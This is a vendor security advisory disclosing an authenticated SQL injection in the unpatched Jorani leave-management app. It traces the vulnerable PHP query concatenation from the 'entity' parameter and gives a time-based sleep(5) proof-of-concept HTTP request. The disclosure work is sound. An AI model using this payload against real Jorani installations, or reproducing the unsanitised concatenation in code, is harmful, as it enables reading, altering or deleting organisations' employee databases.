Advisory4 min

Authenticated SQL injection in Jorani

Simon Juhel

By Simon Juhel

Published February 6, 2026

Lire en français
Security advisory
Product
Jorani
Severity
High
Affected versions
≤ v1.0.4
Patched version
Unpatched

Disclaimer

No fix, patch, or official mitigation is available for this vulnerability at the time of publication.
The project maintainer has confirmed the issue but stated that no remediation is planned, as the project is going to be archived.
Organizations relying on this software should consider the vulnerability permanent and evaluate alternative solutions or isolation measures.

Introduction

Jorani is an open-source, web-based leave management and overtime tracking system, designed to help organizations manage employee absences, approvals, and HR workflows in a simple, lightweight way.

Issue

We identified a high-risk vulnerability in the Jorani project affecting the latest development branch (v1.0.4) as well as the master branch. An authenticated SQL injection could allow an employee to extract, alter or delete the database content.

Timeline

DateDescription
11/08/2025Initial report of the vulnerability to the project maintainer
11/08/2025Vulnerability acknowledged by the maintainer
12/08/2025Technical details and impact analysis sent to the maintainer
22/09/2025Follow-up email sent to the maintainer
20/01/2026Follow-up email sent to the maintainer
-No response received since then

Technical details

The function getAllChildrenItem is vulnerable to a SQL injection vulnerability. This function uses the parameter $id and concatenates it directly into the SQL query.

public function getAllChildren($id) {
    $query = 'SELECT GetFamilyTree(id) as id' .
                ' FROM organization' .
                ' WHERE id =' . $id;
    $query = $this->db->query($query);
    if(!$query) {
        $arr = [];
    } else {
        $arr = $query->result_array();
    }
    return $arr;
}

The vulnerable function is called from different places. For example, the route /contracts/calendar/alldayoffs calls the function allDayOffs from Contacts.php.

public function allDayoffs() {
    header("Content-Type: application/json");
    $start = $this->input->get('start', TRUE);
    $end = $this->input->get('end', TRUE);
    $entity = $this->input->get('entity', TRUE);
    $children = filter_var($this->input->get('children', TRUE), FILTER_VALIDATE_BOOLEAN);
    $this->load->model('dayoffs_model');
    echo $this->dayoffs_model->allDayoffs($start, $end, $entity, $children);
}

The entity parameter is passed through an HTTP GET parameter, and is injected in the allDayoffs() function call from the dayoffs model. This same parameter is then injected into the getAllChidren vulnerable function.

public function allDayoffs($start, $end, $entity_id, $children) {
    $this->lang->load('calendar', $this->session->userdata('language'));

    // ...

    if ($children === TRUE) {
        $this->load->model('organization_model');
        $list = $this->organization_model->getAllChildren($entity_id);
        $ids = array();

    // ...
}

Sending the below HTTP request will execute the sleep SQL statement and send response after a 5 second delay.

GET /contracts/calendar/alldayoffs?entity=sleep(5);&children=true&csrf_test_jorani=c68f62226591858d8fd5003649f4661d&start=2025-07-27&end=2025-09-07&_=1754772955640 HTTP/1.1
Host: jorani.local:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
X-Requested-With: XMLHttpRequest
Cookie: [REDACTED]

Resources

Keep reading

Tell us about your project.

Let us talk through your needs and expectations and build the right service for you.